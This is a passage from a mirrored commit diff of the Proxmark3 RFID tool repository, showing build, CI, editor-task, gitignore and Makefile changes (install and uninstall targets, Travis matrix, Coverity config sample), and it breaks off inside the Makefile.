mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-21 22:03:42 -07:00
commit
a5972f52ea
1172 changed files with 233807 additions and 26216 deletions
40
.coverity.conf.sample
Normal file
40
.coverity.conf.sample
Normal file
|
@ -0,0 +1,40 @@
|
|||
COVLOGIN=myemail@corp.com
|
||||
COVTOKEN=aAbBcCdDeEfFgGhHiIjJkK
|
||||
# Toolchain available at https://scan.coverity.com/download
|
||||
COVBINDIR="/opt/cov-analysis-linux64-2019.03/bin"
|
||||
# Nickname included in scan description:
|
||||
NICKNAME=myself
|
||||
# cov can't read gcov from gcc > 7
|
||||
HOSTCC=gcc-7
|
||||
HOSTCXX=g++-7
|
||||
HOSTLD=g++-7
|
||||
|
||||
# Do not change it:
|
||||
COVDIR=cov-int
|
||||
|
||||
# Depending if your kernel > 4.8.x, you might need to activate this to run Coverity executables
|
||||
# (but latest tools with kernel 5.2 run fine)
|
||||
#sysctl vsyscall=emulate
|
||||
|
||||
export PATH="$PATH:$COVBINDIR"
|
||||
|
||||
function pre_build_hook() {
|
||||
# tmp dir will be /tmp/cov-$username/
|
||||
# It's the good place if you need to redirect to elsewhere with a symlink
|
||||
return 0
|
||||
}
|
||||
|
||||
function post_build_hook() {
|
||||
return 0
|
||||
}
|
||||
|
||||
function pre_submit_hook() {
|
||||
return 0
|
||||
}
|
||||
|
||||
function post_submit_hook() {
|
||||
# Clean up build folders?
|
||||
rm -rf "$COVDIR"
|
||||
echo "Coverity build cleaned"
|
||||
return 0
|
||||
}
|
12
.github/FUNDING.yml
vendored
Normal file
12
.github/FUNDING.yml
vendored
Normal file
|
@ -0,0 +1,12 @@
|
|||
# These are supported funding model platforms
|
||||
|
||||
github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
|
||||
patreon: iceman1001
|
||||
open_collective: # Replace with a single Open Collective username
|
||||
ko_fi: # Replace with a single Ko-fi username
|
||||
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
|
||||
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
|
||||
liberapay: # Replace with a single Liberapay username
|
||||
issuehunt: # Replace with a single IssueHunt username
|
||||
otechie: # Replace with a single Otechie username
|
||||
custom: ["https://www.paypal.me/iceman1001"]
|
17
.gitignore
vendored
17
.gitignore
vendored
|
@ -3,8 +3,14 @@
|
|||
|
||||
.history
|
||||
.bash_history
|
||||
.bash_profile
|
||||
.bash_logout
|
||||
.bashrc
|
||||
.inputrc
|
||||
.profile
|
||||
*.log
|
||||
*.eml
|
||||
*.html
|
||||
*.o
|
||||
*.a
|
||||
*.d
|
||||
|
@ -15,12 +21,15 @@
|
|||
*.dll
|
||||
*.moc.cpp
|
||||
*.z
|
||||
*.gz
|
||||
*.Td
|
||||
*.DS_Store
|
||||
*.exe
|
||||
*.dsym
|
||||
version.c
|
||||
*.json
|
||||
*.old
|
||||
*.swp
|
||||
|
||||
# new build file for add-ons.
|
||||
Makefile.platform
|
||||
|
@ -30,10 +39,13 @@ Makefile.platform
|
|||
!client/hardnested/*.bin
|
||||
!client/hardnested/tables/*.z
|
||||
client/ui/ui_overlays.h
|
||||
client/reveng/bmptst
|
||||
|
||||
hardnested_stats.txt
|
||||
proxmark3
|
||||
proxmark3-flasher
|
||||
flasher
|
||||
!flasher/
|
||||
lua
|
||||
luac
|
||||
fpga_compress
|
||||
|
@ -61,10 +73,13 @@ client/traces/*
|
|||
armsrc/TEMP EMV/*
|
||||
tools/mf_nonce_brute/*
|
||||
tools/andrew/*
|
||||
tools/jtag_openocd/openocd_configuration
|
||||
ppls patches/*
|
||||
*- Copy.*
|
||||
|
||||
client/lualibs/mf_default_keys.lua
|
||||
client/lualibs/mfc_default_keys.lua
|
||||
client/lualibs/pm3_cmd.lua
|
||||
# recompiled
|
||||
fpga_version_info.c
|
||||
|
||||
.proxmark3/*
|
||||
|
|
83
.travis.yml
83
.travis.yml
|
@ -1,51 +1,70 @@
|
|||
# Travis-CI Build for RfidResearchGroup/Proxmark3
|
||||
language: c
|
||||
|
||||
#default linux build env is: Ubuntu 14.04 trusty
|
||||
#default linux build env is: xenial
|
||||
compiler: gcc
|
||||
|
||||
# move some env variables to homebrew env
|
||||
env:
|
||||
global:
|
||||
- HOMEBREW_TRAVIS_BRANCH=$TRAVIS_BRANCH
|
||||
- HOMEBREW_TRAVIS_COMMIT=$TRAVIS_COMMIT
|
||||
|
||||
# Test on Linux and MacOS
|
||||
matrix:
|
||||
include:
|
||||
# - os: osx
|
||||
# osx_image: xcode7.3 # OS X 10.11
|
||||
# - os: osx
|
||||
# osx_image: xcode8.3 # OS X 10.12
|
||||
# - os: osx
|
||||
# osx_image: xcode9 # OS X 10.13
|
||||
- os: osx
|
||||
osx_image: xcode9.1 # OS X 10.13.1
|
||||
osx_image: xcode11
|
||||
env: MAKE_PARAMS='PLATFORM_EXTRAS='
|
||||
- os: osx
|
||||
osx_image: xcode11
|
||||
env: MAKE_PARAMS='PLATFORM_EXTRAS=BTADDON'
|
||||
- os: linux
|
||||
dist: trusty
|
||||
dist: xenial
|
||||
sudo: required
|
||||
env: MAKE_PARAMS='PLATFORM_EXTRAS='
|
||||
- os: linux
|
||||
dist: xenial
|
||||
sudo: required
|
||||
env: MAKE_PARAMS='PLATFORM_EXTRAS=BTADDON'
|
||||
|
||||
addons:
|
||||
apt:
|
||||
packages:
|
||||
- gcc-arm-none-eabi
|
||||
- libnewlib-dev
|
||||
- libsndfile1-dev
|
||||
homebrew:
|
||||
packages:
|
||||
- readline
|
||||
- libsndfile
|
||||
- qt5
|
||||
- RfidResearchGroup/proxmark3/arm-none-eabi-gcc
|
||||
taps: RfidResearchGroup/proxmark3
|
||||
# update trick to fix https://travis-ci.community/t/macos-build-fails-because-of-homebrew-bundle-unknown-command/7296/14
|
||||
update: true
|
||||
|
||||
before_install:
|
||||
## Install ARM toolchain on Linux.
|
||||
## add our homebrew tap for MacOS
|
||||
## Note: all dependencies on MacOS should be resolved by the brew install command
|
||||
if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
|
||||
sudo apt-get update -qq;
|
||||
sudo apt-get install -y gcc-arm-none-eabi;
|
||||
elif [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
|
||||
brew update;
|
||||
brew tap RfidResearchGroup/proxmark3;
|
||||
# bug?
|
||||
# homebrew update replaced python2.7 by python3.7 but
|
||||
# python3 link failed while python@2 still present, so let's do it again:
|
||||
if [ "$TRAVIS_OS_NAME" == "osx" ]; then
|
||||
brew link --overwrite python;
|
||||
fi
|
||||
|
||||
install:
|
||||
if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
|
||||
brew info proxmark3;
|
||||
brew options proxmark3;
|
||||
brew install --HEAD proxmark3;
|
||||
elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
|
||||
make all;
|
||||
if ! arm-none-eabi-gcc -v; then
|
||||
echo "arm-none-eabi-gcc [ERROR]";
|
||||
travis_terminate 1;
|
||||
fi
|
||||
|
||||
make clean;
|
||||
make all V=1 "$MAKE_PARAMS";
|
||||
|
||||
before_script:
|
||||
|
||||
script:
|
||||
script:
|
||||
## start and run a test script
|
||||
if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
|
||||
proxmark3 -h ;
|
||||
elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
|
||||
./client/proxmark3 -h ;
|
||||
fi
|
||||
if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then
|
||||
./pm3test.sh;
|
||||
elif [[ "$TRAVIS_OS_NAME" == "linux" ]]; then
|
||||
./pm3test.sh;
|
||||
fi
|
||||
|
|
27
.vscode/tasks.json
vendored
Normal file
27
.vscode/tasks.json
vendored
Normal file
|
@ -0,0 +1,27 @@
|
|||
{
|
||||
// See https://go.microsoft.com/fwlink/?LinkId=733558
|
||||
// for the documentation about the tasks.json format
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{
|
||||
"label": "build",
|
||||
"type": "shell",
|
||||
"command": "make clean && make all -j$(nproc --all)",
|
||||
"problemMatcher": [
|
||||
"$gcc"
|
||||
]
|
||||
},
|
||||
{
|
||||
"label": "flash fullimage",
|
||||
"type": "shell",
|
||||
"command": "sudo ./pm3-flash-fullimage",
|
||||
"problemMatcher": []
|
||||
},
|
||||
{
|
||||
"label": "FLASH BOOTROM",
|
||||
"type": "shell",
|
||||
"command": "sudo ./pm3-flash-bootrom",
|
||||
"problemMatcher": []
|
||||
}
|
||||
]
|
||||
}
|
1082
CHANGELOG.md
1082
CHANGELOG.md
File diff suppressed because it is too large
Load diff
131
COMPILING.txt
131
COMPILING.txt
|
@ -1,131 +1,2 @@
|
|||
The project compiles on Linux, Mac OS X and Windows (MinGW/MSYS).
|
||||
|
||||
it requires:
|
||||
- gcc >= 4.8
|
||||
- libpthread
|
||||
- libreadline
|
||||
- libusb
|
||||
- perl
|
||||
- an ARM cross-compiler to compile the firmware
|
||||
- libncurses5-dev
|
||||
|
||||
and optionally QT for the GUI
|
||||
|
||||
|
||||
To compile, just run "make".
|
||||
|
||||
===========
|
||||
= Windows =
|
||||
===========
|
||||
|
||||
Rather than download and install every one of these packages, a new ProxSpace
|
||||
environment archive file will be made available for download on the project
|
||||
page at @Gator96100's repo
|
||||
|
||||
Afterwards just clone the iceman repo or download someone elses. Read instructions on @Gator96100 repo page. (https://github.com/Gator96100/ProxSpace/)
|
||||
|
||||
Download the ProxSpace environment archive and extract it to C:\
|
||||
|
||||
Links
|
||||
https://github.com/Gator96100/ProxSpace/archive/master.zip
|
||||
|
||||
|
||||
============
|
||||
= Mac OS X =
|
||||
============
|
||||
|
||||
Installing from HomeBrew tap
|
||||
---------------------------
|
||||
This method is recommended and tested on macOS Sierra 10.12.3
|
||||
|
||||
1. Install homebrew if you haven't yet already done so: http://brew.sh/
|
||||
|
||||
2. Tap proxmark repo:
|
||||
brew tap iceman1001/proxmark3
|
||||
|
||||
3. Install Proxmark3:
|
||||
|
||||
Stable release
|
||||
brew install proxmark3
|
||||
|
||||
Latest non-stable from GitHub (use this if previous command fails)
|
||||
brew install --HEAD proxmark3
|
||||
|
||||
For more information go to https://github.com/iceman1001/homebrew-proxmark3
|
||||
|
||||
Upgrading HomeBrew tap formula
|
||||
-----------------------------
|
||||
*This method is useful for those looking to run bleeding-edge versions of iceman's client. Keep this in mind when attempting to update your HomeBrew tap formula as this procedure could easily cause a build to break if an update is unstable on macOS.*
|
||||
|
||||
Tested on macOS Sierra 10.12.6
|
||||
|
||||
*Note: This assumes you have already installed iceman's fork from HomeBrew as mentioned above*
|
||||
|
||||
1. Force HomeBrew to pull the latest source from github
|
||||
`brew upgrade --fetch-HEAD iceman1001/proxmark3/proxmark3`
|
||||
|
||||
2. Flash the bootloader
|
||||
* With your Proxmark3 unplugged from your machine, press and hold the button on your Proxmark 3 as you plug it into a USB port. After about 5 seconds let go of the button and run this command
|
||||
`$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf`
|
||||
* After the bootloader finishes flashing, unplug your Proxmark3 from your machine
|
||||
|
||||
3. Flash fullimage.elf
|
||||
* Press and hold the button on your Proxmark 3 and keep it held as you plug the Proxmark 3 back into the USB port; continue to hold the button until after this step is complete and the `proxmark3-flasher` command outputs "Have a nice day!"*
|
||||
|
||||
`$ sudo proxmark3-flasher /dev/tty.usbmodem881 /usr/local/Cellar/proxmark3/HEAD-ccfdd60/share/firmware/fullimage.elf`
|
||||
|
||||
4. Enjoy the update
|
||||
|
||||
Compilling from source manually (Legacy)
|
||||
---------------------------
|
||||
|
||||
Tested on OSX 10.10 Yosemite
|
||||
|
||||
1 - Install Xcode and Xcode Command Line Tools
|
||||
|
||||
2 - Install Homebrew and dependencies
|
||||
brew install readline libusb p7zip libusb-compat wget qt5 pkgconfig
|
||||
|
||||
3 - Download DevKitARM for OSX
|
||||
http://sourceforge.net/projects/devkitpro/files/devkitARM/devkitARM_r44/
|
||||
Unpack devkitARM_r44-osx.tar.bz2 to proxmark3 directory.
|
||||
|
||||
4 - Edit proxmark3/client/Makefile adding path to readline and qt5
|
||||
|
||||
LDLIBS = -L/usr/local/opt/readline/lib -L/usr/local/opt/qt5/lib -L/opt/local/lib -L/usr/local/lib ../liblua/liblua.a -lreadline -lpthread -lm
|
||||
CFLAGS = -std=c99 -I/usr/local/opt/qt5/include -I/usr/local/opt/readline/include -I. -I../include -I../common -I../zlib -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4
|
||||
|
||||
If your old brew intallation use /usr/local/Cellar/ path replace /usr/local/opt/readline/lib with your actuall readline and qt5 path. See homebrew manuals.
|
||||
|
||||
5 - Set Environment
|
||||
|
||||
export DEVKITPRO=$HOME/proxmark3/
|
||||
export DEVKITARM=$DEVKITPRO/devkitARM
|
||||
export PATH=${PATH}:${DEVKITARM}/bin
|
||||
|
||||
|
||||
============
|
||||
= Linux =
|
||||
============
|
||||
|
||||
1 - Download
|
||||
|
||||
A precompiled DevKitARM cross compiler tool chain package can be found at
|
||||
http://sourceforge.net/projects/devkitpro/files/devkitARM
|
||||
Select the one you need (32bit or 64bit) and unpack to a convinient place, eg
|
||||
$HOME/proxmark3/. It will create a devkitARM/ subdirectory.
|
||||
|
||||
You will also need a general compiling environment on your computer for
|
||||
the client and the libusb headers. In most distributions you will get all you
|
||||
need with the lsb-package (Linux Standard Base). In debian/ubuntu you simply
|
||||
call `aptitude install lsb libusb-dev libreadline-dev libreadline6`.
|
||||
|
||||
For the graphical plot view, you might need the qtlibs (debian/ubuntu:
|
||||
libqt4-dev), too.
|
||||
|
||||
2 - Set Environment
|
||||
|
||||
export DEVKITPRO=$HOME/proxmark3/
|
||||
export DEVKITARM=$DEVKITPRO/devkitARM
|
||||
export PATH=${PATH}:${DEVKITARM}/bin
|
||||
|
||||
Refer to doc/md/Installation_Instructions/ for up-to-date intructions for various platforms.
|
||||
|
|
12
LICENSE.txt
12
LICENSE.txt
|
@ -1,13 +1,13 @@
|
|||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
|
@ -57,7 +57,7 @@ patent must be licensed for everyone's free use or not licensed at all.
|
|||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
|
@ -256,7 +256,7 @@ make exceptions for this. Our decision will be guided by the two goals
|
|||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
|
@ -278,4 +278,4 @@ YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
|||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
|
203
Makefile
203
Makefile
|
@ -1,82 +1,131 @@
|
|||
# Hide full compilation line:
|
||||
ifneq ($(V),1)
|
||||
Q?=@
|
||||
endif
|
||||
# To see full command lines, use make V=1
|
||||
|
||||
GZIP=gzip
|
||||
# Windows' echo echos its input verbatim, on Posix there is some
|
||||
# amount of shell command line parsing going on. echo "" on
|
||||
# Windows yields literal "", on Linux yields an empty line
|
||||
ifeq ($(shell echo ""),)
|
||||
# This is probably a proper system, so we can use uname
|
||||
DELETE=rm -rf
|
||||
FLASH_TOOL=client/flasher
|
||||
platform=$(shell uname)
|
||||
ifneq (,$(findstring MINGW,$(platform)))
|
||||
FLASH_PORT=com3
|
||||
PATHSEP=\\#
|
||||
else
|
||||
FLASH_PORT=/dev/ttyACM0
|
||||
PATHSEP=/
|
||||
endif
|
||||
else
|
||||
# Assume that we are running on native Windows
|
||||
DELETE=del /q
|
||||
FLASH_TOOL=client/flasher.exe
|
||||
platform=Windows
|
||||
FLASH_PORT=com3
|
||||
PATHSEP=\\#
|
||||
endif
|
||||
|
||||
include Makefile.defs
|
||||
-include Makefile.platform
|
||||
-include .Makefile.options.cache
|
||||
include common/Makefile.hal
|
||||
include common_arm/Makefile.hal
|
||||
|
||||
all clean: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/%
|
||||
# preserve relative DESTDIR path for subdir makes
|
||||
ifneq (,$(DESTDIR))
|
||||
# realpath needs the directory to exist
|
||||
$(shell $(MKDIR) $(DESTDIR))
|
||||
MYDESTDIR:=$(realpath $(DESTDIR))
|
||||
ifeq (,$(MYDESTDIR))
|
||||
$(error Can't create $(DESTDIR))
|
||||
endif
|
||||
endif
|
||||
|
||||
all clean install uninstall: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% fpga_compress/%
|
||||
|
||||
INSTALLTOOLS=pm3_eml2lower.sh pm3_eml2upper.sh pm3_mfdread.py pm3_mfd2eml.py pm3_eml2mfd.py findbits.py rfidtest.pl xorcheck.py
|
||||
INSTALLSIMFW=sim011.bin sim011.sha512.txt
|
||||
INSTALLSCRIPTS=pm3 pm3-flash pm3-flash-all pm3-flash-bootrom pm3-flash-fullimage
|
||||
INSTALLSHARES=tools/jtag_openocd traces
|
||||
INSTALLDOCS=doc/*.md doc/md
|
||||
|
||||
install: all common/install
|
||||
|
||||
common/install:
|
||||
$(info [@] Installing common resources to $(MYDESTDIR)$(PREFIX)...)
|
||||
ifneq (,$(INSTALLSCRIPTS))
|
||||
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)
|
||||
$(Q)$(CP) $(INSTALLSCRIPTS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)
|
||||
endif
|
||||
ifneq (,$(INSTALLSHARES))
|
||||
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
|
||||
$(Q)$(CP) $(INSTALLSHARES) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
|
||||
endif
|
||||
ifneq (,$(INSTALLDOCS))
|
||||
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
|
||||
$(Q)$(CP) $(INSTALLDOCS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
|
||||
endif
|
||||
ifneq (,$(INSTALLTOOLS))
|
||||
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
|
||||
$(Q)$(CP) $(foreach tool,$(INSTALLTOOLS),tools/$(tool)) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
|
||||
endif
|
||||
ifneq (,$(INSTALLSIMFW))
|
||||
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
|
||||
$(Q)$(CP) $(foreach fw,$(INSTALLSIMFW),tools/simmodule/$(fw)) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
|
||||
endif
|
||||
ifeq ($(platform),Linux)
|
||||
$(Q)$(MKDIR) $(DESTDIR)$(UDEV_PREFIX)
|
||||
$(Q)$(CP) driver/77-pm3-usb-device-blacklist.rules $(DESTDIR)$(UDEV_PREFIX)/77-pm3-usb-device-blacklist.rules
|
||||
endif
|
||||
|
||||
uninstall: common/uninstall
|
||||
|
||||
common/uninstall:
|
||||
$(info [@] Uninstalling common resources from $(MYDESTDIR)$(PREFIX)...)
|
||||
ifneq (,$(INSTALLSCRIPTS))
|
||||
$(Q)$(RM) $(foreach script,$(INSTALLSCRIPTS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)$(PATHSEP)$(notdir $(script)))
|
||||
endif
|
||||
ifneq (,$(INSTALLSHARES))
|
||||
$(Q)$(RMDIR) $(foreach share,$(INSTALLSHARES),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)$(PATHSEP)$(notdir $(share)))
|
||||
endif
|
||||
ifneq (,$(INSTALLDOCS))
|
||||
$(Q)$(RMDIR) $(foreach doc,$(INSTALLDOCS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)$(PATHSEP)$(notdir $(doc)))
|
||||
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)
|
||||
endif
|
||||
ifneq (,$(INSTALLTOOLS))
|
||||
$(Q)$(RM) $(foreach tool,$(INSTALLTOOLS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)$(PATHSEP)$(notdir $(tool)))
|
||||
endif
|
||||
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)
|
||||
ifneq (,$(INSTALLSIMFW))
|
||||
$(Q)$(RM) $(foreach fw,$(INSTALLSIMFW),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(notdir $(fw)))
|
||||
endif
|
||||
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
|
||||
ifeq ($(platform),Linux)
|
||||
$(Q)$(RM) $(DESTDIR)$(UDEV_PREFIX)/77-pm3-usb-device-blacklist.rules
|
||||
endif
|
||||
$(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)
|
||||
|
||||
mfkey/%: FORCE
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C tools/mfkey $(patsubst mfkey/%,%,$@)
|
||||
$(Q)$(MAKE) --no-print-directory -C tools/mfkey $(patsubst mfkey/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
nonce2key/%: FORCE
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C tools/nonce2key $(patsubst nonce2key/%,%,$@)
|
||||
$(Q)$(MAKE) --no-print-directory -C tools/nonce2key $(patsubst nonce2key/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
fpga_compress/%: FORCE
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C tools/fpga_compress $(patsubst fpga_compress/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
bootrom/%: FORCE cleanifplatformchanged
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C bootrom $(patsubst bootrom/%,%,$@)
|
||||
armsrc/%: FORCE cleanifplatformchanged
|
||||
$(Q)$(MAKE) --no-print-directory -C bootrom $(patsubst bootrom/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
armsrc/%: FORCE cleanifplatformchanged fpga_compress/%
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C armsrc $(patsubst armsrc/%,%,$@)
|
||||
$(Q)$(MAKE) --no-print-directory -C armsrc $(patsubst armsrc/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
client/%: FORCE
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C client $(patsubst client/%,%,$@)
|
||||
recovery/%: FORCE cleanifplatformchanged bootrom/% armsrc/%
|
||||
$(Q)$(MAKE) --no-print-directory -C client $(patsubst client/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
recovery/all: bootrom/all armsrc/all
|
||||
recovery/install: bootrom/all armsrc/all
|
||||
recovery/%: FORCE cleanifplatformchanged
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C recovery $(patsubst recovery/%,%,$@)
|
||||
$(Q)$(MAKE) --no-print-directory -C recovery $(patsubst recovery/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
FORCE: # Dummy target to force remake in the subdirectories, even if files exist (this Makefile doesn't know about the prerequisites)
|
||||
|
||||
.PHONY: all clean help _test bootrom flash-bootrom os flash-os flash-all recovery client mfkey nounce2key style checks FORCE udev accessrights cleanifplatformchanged
|
||||
.PHONY: all clean install uninstall help _test bootrom fullimage recovery client mfkey nonce2key style checks FORCE udev accessrights cleanifplatformchanged
|
||||
|
||||
help:
|
||||
@echo "Multi-OS Makefile"
|
||||
@echo
|
||||
@echo "Possible targets:"
|
||||
@echo "+ all - Make all targets: bootrom, armsrc and OS-specific host tools"
|
||||
@echo "+ clean - Clean in all targets"
|
||||
@echo "+ all - Make all targets: bootrom, fullimage and OS-specific host tools"
|
||||
@echo "+ clean - Clean in all targets"
|
||||
@echo "+ .../clean - Clean in specified target and its deps, e.g. bootrom/clean"
|
||||
@echo "+ (un)install - Install/uninstall Proxmark files in the system, default to /usr/local/share,"
|
||||
@echo " else provide a PREFIX. See Maintainers.md for more options"
|
||||
@echo
|
||||
@echo "+ bootrom - Make bootrom"
|
||||
@echo "+ os - Make armsrc (includes fpga)"
|
||||
@echo "+ flash-bootrom - Make bootrom and flash it"
|
||||
@echo "+ flash-os - Make armsrc and flash os image (includes fpga)"
|
||||
@echo "+ flash-all - Make bootrom and armsrc and flash bootrom and os image"
|
||||
@echo "+ recovery - Make bootrom and armsrc images for JTAG flashing"
|
||||
@echo "+ bootrom - Make bootrom"
|
||||
@echo "+ fullimage - Make armsrc fullimage (includes fpga)"
|
||||
@echo "+ recovery - Make bootrom and fullimage files for JTAG flashing"
|
||||
@echo
|
||||
@echo "+ client - Make only the OS-specific host client"
|
||||
@echo "+ mfkey - Make tools/mfkey"
|
||||
@echo "+ nounce2key - Make tools/nounce2key"
|
||||
@echo "+ client - Make only the OS-specific host client"
|
||||
@echo "+ mfkey - Make tools/mfkey"
|
||||
@echo "+ nonce2key - Make tools/nonce2key"
|
||||
@echo "+ fpga_compress - Make tools/fpga_compress"
|
||||
@echo
|
||||
@echo "+ style - Apply some automated source code formatting rules"
|
||||
@echo "+ checks - Detect various encoding issues in source code"
|
||||
@echo "+ style - Apply some automated source code formatting rules"
|
||||
@echo "+ checks - Detect various encoding issues in source code"
|
||||
@echo
|
||||
@echo "Possible platforms: try \"make PLATFORM=\" for more info, default is PM3RDV4"
|
||||
@echo "To activate verbose mode, use make V=1"
|
||||
|
@ -85,7 +134,17 @@ client: client/all
|
|||
|
||||
bootrom: bootrom/all
|
||||
|
||||
os: armsrc/all
|
||||
# aliases fullimage = armsrc
|
||||
|
||||
fullimage: armsrc/all
|
||||
|
||||
fullimage/all: armsrc/all
|
||||
|
||||
fullimage/clean: armsrc/clean
|
||||
|
||||
fullimage/install: armsrc/install
|
||||
|
||||
fullimage/uninstall: armsrc/uninstall
|
||||
|
||||
recovery: recovery/all
|
||||
|
||||
|
@ -93,17 +152,10 @@ mfkey: mfkey/all
|
|||
|
||||
nonce2key: nonce2key/all
|
||||
|
||||
flash-bootrom: bootrom/obj/bootrom.elf $(FLASH_TOOL)
|
||||
$(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$<)
|
||||
|
||||
flash-os: armsrc/obj/fullimage.elf $(FLASH_TOOL)
|
||||
$(FLASH_TOOL) $(FLASH_PORT) $(subst /,$(PATHSEP),$<)
|
||||
|
||||
flash-all: bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf $(FLASH_TOOL)
|
||||
$(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$(filter-out $(FLASH_TOOL),$^))
|
||||
fpga_compress: fpga_compress/all
|
||||
|
||||
newtarbin:
|
||||
$(DELETE) proxmark3-$(platform)-bin.tar proxmark3-$(platform)-bin.tar.gz
|
||||
$(RM) proxmark3-$(platform)-bin.tar proxmark3-$(platform)-bin.tar.gz
|
||||
@touch proxmark3-$(platform)-bin.tar
|
||||
|
||||
tarbin: newtarbin client/tarbin armsrc/tarbin bootrom/tarbin
|
||||
|
@ -145,21 +197,36 @@ style:
|
|||
# Make sure astyle is installed
|
||||
@which astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 )
|
||||
# Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile
|
||||
find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" \) \
|
||||
find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \
|
||||
-exec perl -pi -e 's/[ \t]+$$//' {} \; \
|
||||
-exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \
|
||||
